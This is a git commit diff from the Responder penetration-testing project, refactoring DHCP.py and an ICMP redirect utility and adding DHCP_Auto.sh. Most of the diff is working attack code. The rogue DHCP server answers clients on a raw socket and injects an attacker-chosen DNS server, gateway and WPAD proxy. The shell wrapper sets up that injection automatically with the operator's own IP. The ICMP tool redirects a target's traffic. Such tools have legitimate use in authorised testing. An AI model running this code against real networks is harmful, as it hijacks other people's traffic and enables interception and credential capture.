Merge branch 'responder-refactoring' of https://github.com/jrmdev/Responder into responder-refactoring

This commit is contained in:
jrmdev 2015-07-06 12:58:55 +10:00
commit 3c00567fa6
3 changed files with 523 additions and 498 deletions

View file

@ -21,113 +21,79 @@ import re
import optparse import optparse
import ConfigParser import ConfigParser
import os import os
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR)
from odict import OrderedDict from odict import OrderedDict
from socket import inet_aton, inet_ntoa from packets import Packet
from utils import *
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],) parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME") parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP") parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP") parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2") parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask") parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD")
parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof") parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof")
parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request") parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests")
options, args = parser.parse_args() options, args = parser.parse_args()
def ShowWelcome(): def color(txt, code = 1, modifier = 0):
Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n' return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
print Message
if options.Responder_IP is None:
print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
parser.print_help()
exit(-1)
if options.Interface is None: if options.Interface is None:
print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n" print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
parser.print_help()
exit(-1) exit(-1)
if options.RouterIP is None: if options.RouterIP is None:
print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n" print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
parser.print_help()
exit(-1) exit(-1)
if options.DNSIP is None: if options.DNSIP is None:
print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n" print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
parser.print_help()
exit(-1) exit(-1)
if options.DNSIP2 is None: if options.DNSIP2 is None:
print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n" print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
parser.print_help()
exit(-1) exit(-1)
ShowWelcome()
#Config parsing print '#############################################################################'
ResponderPATH = os.path.dirname(__file__) print '## DHCP INFORM TAKEOVER 0.2 ##'
print '## ##'
print '## By default, this script will only inject a new DNS/WPAD ##'
print '## server to a Windows <= XP/2003 machine. ##'
print '## ##'
print '## To inject a DNS server/domain/route on a Windows >= Vista and ##'
print '## any linux box, use -R (can be noisy) ##'
print '## ##'
print '## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##'
print '#############################################################################'
print ''
print color('[*]', 2, 1), 'Listening for events...'
config = ConfigParser.ConfigParser() config = ConfigParser.ConfigParser()
config.read(os.path.join(ResponderPATH,'Responder.conf')) config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = config.get('Responder Core', 'RespondTo').strip() RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
#Setting some vars
Interface = options.Interface Interface = options.Interface
Responder_IP = options.Responder_IP Responder_IP = FindLocalIP(Interface)
ROUTERIP = options.RouterIP ROUTERIP = options.RouterIP
NETMASK = options.Netmask NETMASK = options.Netmask
DHCPSERVER = options.Responder_IP DHCPSERVER = Responder_IP
DNSIP = options.DNSIP DNSIP = options.DNSIP
DNSIP2 = options.DNSIP2 DNSIP2 = options.DNSIP2
DNSNAME = options.DNSNAME DNSNAME = options.DNSNAME
WPADSRV = options.WPAD WPADSRV = options.WPAD.strip() + "\\n"
Spoof = options.Spoof Spoof = options.Spoof
Request = options.Request Respond_To_Requests = options.Respond_To_Requests
if Spoof: if Spoof:
DHCPSERVER = ROUTERIP DHCPSERVER = ROUTERIP
def SpoofIP(Spoof): ##### IP Header #####
if Spoof:
return ROUTERIP
else:
return Responder_IP
def RespondToSpecificHost(RespondTo):
if len(RespondTo)>=1 and RespondTo != ['']:
return True
else:
return False
def RespondToIPScope(RespondTo, ClientIp):
if ClientIp in RespondTo:
return True
else:
return False
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
#####################################################################
# Server Stuff
#####################################################################
class IPHead(Packet): class IPHead(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Version", "\x45"), ("Version", "\x45"),
@ -152,7 +118,7 @@ class UDP(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet. self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
class DHCPACK(Packet): class DHCPACK(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -160,14 +126,14 @@ class DHCPACK(Packet):
("HdwType", "\x01"), ("HdwType", "\x01"),
("HdwLen", "\x06"), ("HdwLen", "\x06"),
("Hops", "\x00"), ("Hops", "\x00"),
("Tid", "\x22\x1b\xe0\x1a"), ("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"), ("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"), ("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"), ("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"), ("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"), ("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"), ("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"), ("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10), ("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64), ("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128), ("BootFileName", "\x00" * 128),
@ -180,13 +146,13 @@ class DHCPACK(Packet):
("Op54Str", ""), #DHCP Server ("Op54Str", ""), #DHCP Server
("Op51", "\x33"), ("Op51", "\x33"),
("Op51Len", "\x04"), ("Op51Len", "\x04"),
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day. ("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
("Op1", "\x01"), ("Op1", "\x01"),
("Op1Len", "\x04"), ("Op1Len", "\x04"),
("Op1Str", ""), #Netmask ("Op1Str", ""), #Netmask
("Op15", "\x0f"), ("Op15", "\x0f"),
("Op15Len", "\x0e"), ("Op15Len", "\x0e"),
("Op15Str", DNSNAME), #DNS Name ("Op15Str", ""), #DNS Name
("Op3", "\x03"), ("Op3", "\x03"),
("Op3Len", "\x04"), ("Op3Len", "\x04"),
("Op3Str", ""), #Router ("Op3Str", ""), #Router
@ -195,19 +161,20 @@ class DHCPACK(Packet):
("Op6Str", ""), #DNS Servers ("Op6Str", ""), #DNS Servers
("Op252", "\xfc"), ("Op252", "\xfc"),
("Op252Len", "\x04"), ("Op252Len", "\x04"),
("Op252Str", WPADSRV), #Wpad Server. ("Op252Str", ""), #Wpad Server
("Op255", "\xff"), ("Op255", "\xff"),
("Padding", "\x00"), ("Padding", "\x00"),
]) ])
def calculate(self): def calculate(self):
self.fields["Op54Str"] = inet_aton(DHCPSERVER) self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
self.fields["Op1Str"] = inet_aton(NETMASK) self.fields["Op1Str"] = socket.inet_aton(NETMASK)
self.fields["Op3Str"] = inet_aton(ROUTERIP) self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2) self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME)) self.fields["Op15Str"] = DNSNAME
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV)) self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
class DHCPInformACK(Packet): class DHCPInformACK(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -215,14 +182,14 @@ class DHCPInformACK(Packet):
("HdwType", "\x01"), ("HdwType", "\x01"),
("HdwLen", "\x06"), ("HdwLen", "\x06"),
("Hops", "\x00"), ("Hops", "\x00"),
("Tid", "\x22\x1b\xe0\x1a"), ("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"), ("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"), ("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"), ("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"), ("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"), ("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"), ("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"), ("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10), ("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64), ("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128), ("BootFileName", "\x00" * 128),
@ -236,7 +203,7 @@ class DHCPInformACK(Packet):
("Op1Str", ""), #Netmask ("Op1Str", ""), #Netmask
("Op15", "\x0f"), ("Op15", "\x0f"),
("Op15Len", "\x0e"), ("Op15Len", "\x0e"),
("Op15Str", DNSNAME), #DNS Name ("Op15Str", ""), #DNS Name
("Op3", "\x03"), ("Op3", "\x03"),
("Op3Len", "\x04"), ("Op3Len", "\x04"),
("Op3Str", ""), #Router ("Op3Str", ""), #Router
@ -245,31 +212,43 @@ class DHCPInformACK(Packet):
("Op6Str", ""), #DNS Servers ("Op6Str", ""), #DNS Servers
("Op252", "\xfc"), ("Op252", "\xfc"),
("Op252Len", "\x04"), ("Op252Len", "\x04"),
("Op252Str", WPADSRV), #Wpad Server. ("Op252Str", ""), #Wpad Server.
("Op255", "\xff"), ("Op255", "\xff"),
]) ])
def calculate(self): def calculate(self):
self.fields["Op54Str"] = inet_aton(DHCPSERVER) self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
self.fields["Op1Str"] = inet_aton(NETMASK) self.fields["Op1Str"] = socket.inet_aton(NETMASK)
self.fields["Op3Str"] = inet_aton(ROUTERIP) self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2) self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME)) self.fields["Op15Str"] = DNSNAME
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV)) self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
def ParseMac(data): def SpoofIP(Spoof):
return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex')) return ROUTERIP if Spoof else Responder_IP
def IsUDP(data): def RespondToThisIP(ClientIp):
if data[0][23:24] == "\x11":
return True if ClientIp.startswith('127.0.0.'):
if data[0][23:24] == "\x06":
return False return False
if len(RespondTo) and ClientIp not in RespondTo:
return False
if ClientIp in RespondTo or RespondTo == []:
if ClientIp not in DontRespondTo:
return True
return False
def IsUDP(data):
return True if data[0][23:24] == "\x11" else False
def ParseSrcDSTAddr(data): def ParseSrcDSTAddr(data):
SrcIP = inet_ntoa(data[0][26:30]) SrcIP = socket.inet_ntoa(data[0][26:30])
DstIP = inet_ntoa(data[0][30:34]) DstIP = socket.inet_ntoa(data[0][30:34])
SrcPort = struct.unpack('>H',data[0][34:36])[0] SrcPort = struct.unpack('>H',data[0][34:36])[0]
DstPort = struct.unpack('>H',data[0][36:38])[0] DstPort = struct.unpack('>H',data[0][36:38])[0]
return SrcIP, SrcPort, DstIP, DstPort return SrcIP, SrcPort, DstIP, DstPort
@ -281,92 +260,81 @@ def FindIP(data):
def ParseDHCPCode(data): def ParseDHCPCode(data):
PTid = data[4:8] PTid = data[4:8]
Seconds = data[8:10] Seconds = data[8:10]
CurrentIP = inet_ntoa(data[12:16]) CurrentIP = socket.inet_ntoa(data[12:16])
RequestedIP = inet_ntoa(data[16:20]) RequestedIP = socket.inet_ntoa(data[16:20])
MacAddr = data[28:34] MacAddr = data[28:34]
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
OpCode = data[242:243] OpCode = data[242:243]
RequestIP = data[245:249] RequestIP = data[245:249]
# DHCP Inform
if OpCode == "\x08": if OpCode == "\x08":
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP)) IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds) Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), \
p.calculate() GiveClientIP=socket.inet_aton("0.0.0.0"), \
u = UDP(Data = p) NextServerIP=socket.inet_aton("0.0.0.0"), \
u.calculate() RelayAgentIP=socket.inet_aton("0.0.0.0"), \
for x in range(1): ElapsedSec=Seconds)
SendDHCP(str(i)+str(u),(CurrentIP,68))
return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
if OpCode == "\x03": Packet.calculate()
if Request: Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
return 'Acknowleged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
# DHCP Request
if OpCode == "\x03" and Respond_To_Requests:
IP = FindIP(data) IP = FindIP(data)
if IP: if IP:
IPConv = inet_ntoa(IP) IPConv = socket.inet_ntoa(IP)
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv): if RespondToThisIP(IPConv):
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP) IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds) Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
p.calculate() Packet.calculate()
u = UDP(Data = p)
u.calculate()
for x in range(1):
SendDHCP(str(i)+str(u),(IPConv,68))
return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
if RespondToSpecificHost(RespondTo) == False:
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
p.calculate()
u = UDP(Data = p)
u.calculate()
for x in range(1):
SendDHCP(str(i)+str(u),(IPConv,68))
return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
if OpCode == "\x01": Buffer = UDP(Data = Packet)
if Request: Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
return 'Acknowleged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
# DHCP Discover
if OpCode == "\x01" and Respond_To_Requests:
IP = FindIP(data) IP = FindIP(data)
if IP: if IP:
IPConv = inet_ntoa(IP) IPConv = socket.inet_ntoa(IP)
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv): if RespondToThisIP(IPConv):
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP) IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds) Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
p.calculate() Packet.calculate()
u = UDP(Data = p)
u.calculate()
for x in range(1):
SendDHCP(str(i)+str(u),(IPConv,0))
return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
if RespondToSpecificHost(RespondTo) == False:
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
p.calculate()
u = UDP(Data = p)
u.calculate()
for x in range(1):
SendDHCP(str(i)+str(u),(IPConv,0))
return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
else: Buffer = UDP(Data = Packet)
return False Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
return 'Acknowleged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
def SendDHCP(packet,Host): def SendDHCP(packet,Host):
Protocol = 0x0800
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(packet, Host) s.sendto(packet, Host)
def SniffUDPMac(): if __name__ == "__main__":
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
Protocol = 0x0800 s.bind((Interface, 0x0800))
s.bind((Interface, Protocol))
while True: while True:
try:
data = s.recvfrom(65535) data = s.recvfrom(65535)
if IsUDP(data): if IsUDP(data):
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67: if SrcPort == 67 or DstPort == 67:
Message = ParseDHCPCode(data[0][42:]) print text("[DHCP] %s" % ParseDHCPCode(data[0][42:]))
if Message:
print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
print Message
except KeyboardInterrupt:
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
SniffUDPMac()

60
tools/DHCP_Auto.sh Normal file
View file

@ -0,0 +1,60 @@
#!/bin/bash
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# This script will try to auto-detect network parameters
# to run the rogue DHCP server, to inject only your IP
# address as the primary DNS server and WPAD server and
# leave everything else normal.
if [ -z $1 ]; then
echo "usage: $0 <interface>"
exit
fi
if [ $EUID -ne 0 ]; then
echo "Must be run as root."
exit
fi
if [ ! -d "/sys/class/net/$1" ]; then
echo "Interface does not exist."
exit
fi
INTF=$1
IPADDR=`/sbin/ifconfig $INTF | grep 'inet addr' | tr ':' ' ' | awk '{print $3}'`
NETMASK=`/sbin/ifconfig $INTF | grep 'inet addr' | tr ':' ' ' | awk '{print $7}'`
DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'`
DNS1=$IPADDR
DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'`
ROUTER=`/sbin/route -n | grep ^0.0.0.0 | awk '{print $2}'`
WPADSTR="http://$IPADDR/wpad.dat"
if [ -z "$DOMAIN" ]; then
DOMAIN=" "
fi
echo "Running with parameters:"
echo "INTERFACE: $INTF"
echo "IP ADDR: $IPADDR"
echo "NETMAST: $NETMASK"
echo "ROUTER IP: $ROUTER"
echo "DNS1 IP: $DNS1"
echo "DNS2 IP: $DNS2"
echo "WPAD: $WPADSTR"
echo ""
python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"

View file

@ -14,63 +14,57 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys,socket,struct,optparse,random,pipes import os
from socket import * import sys
from odict import OrderedDict import socket
import struct
import optparse
import random
import pipes
from random import randrange from random import randrange
from time import sleep from time import sleep
from subprocess import call from subprocess import call
from pipes import quote from pipes import quote
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
prog=sys.argv[0], sys.path.insert(0, BASEDIR)
) from odict import OrderedDict
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP") from packets import Packet
from utils import *
parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', prog=sys.argv[0],)
parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
parser.add_option('-g', '--gateway', action="store", help="The ip address of the original gateway ('route -n' will tell)", metavar="10.20.30.254",dest="OriginalGwAddr")
parser.add_option('-t', '--target', action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
parser.add_option('-r', '--route', action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
parser.add_option('-s', '--secondaryroute', action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
parser.add_option('-a', '--alternate', action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr") parser.add_option('-a', '--alternate', action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
options, args = parser.parse_args() options, args = parser.parse_args()
if options.Responder_IP is None: def color(txt, code = 1, modifier = 0):
print "-i mandatory option is missing.\n" return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
parser.print_help()
exit(-1)
if options.OriginalGwAddr is None: if options.OriginalGwAddr is None:
print "-g mandatory option is missing, please provide the original gateway address.\n" print color("[!]", 1, 1), "-g mandatory option is missing, please provide the original gateway address.\n"
parser.print_help()
exit(-1) exit(-1)
if options.VictimIP is None: if options.VictimIP is None:
print "-t mandatory option is missing, please provide a target.\n" print color("[!]", 1, 1), "-t mandatory option is missing, please provide a target.\n"
parser.print_help()
exit(-1) exit(-1)
if options.Interface is None: if options.Interface is None:
print "-I mandatory option is missing, please provide your network interface.\n" print color("[!]", 1, 1), "-I mandatory option is missing, please provide your network interface.\n"
parser.print_help()
exit(-1) exit(-1)
if options.ToThisHost is None: if options.ToThisHost is None:
print "-r mandatory option is missing, please provide a destination target.\n" print color("[!]", 1, 1), "r mandatory option is missing, please provide a destination target.\n"
parser.print_help()
exit(-1) exit(-1)
if options.AlternateGwAddr is None: if options.AlternateGwAddr is None:
AlternateGwAddr = options.Responder_IP AlternateGwAddr = FindLocalIP(Interface)
#Setting some vars. Responder_IP = FindLocalIP(Interface)
Responder_IP = options.Responder_IP
OriginalGwAddr = options.OriginalGwAddr OriginalGwAddr = options.OriginalGwAddr
AlternateGwAddr = options.AlternateGwAddr AlternateGwAddr = options.AlternateGwAddr
VictimIP = options.VictimIP VictimIP = options.VictimIP
@ -78,26 +72,22 @@ ToThisHost = options.ToThisHost
ToThisHost2 = options.ToThisHost2 ToThisHost2 = options.ToThisHost2
Interface = options.Interface Interface = options.Interface
def Show_Help(ExtraHelpData): print '###########################################################################'
help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n" print '## ICMP REDIRECT UTILITY 0.1 ##'
help+= ExtraHelpData print '## ##'
print help print '## This utility combined with Responder is useful on Windows networks ##'
print '## Most Linux distributions discard by default ICMP Redirects. ##'
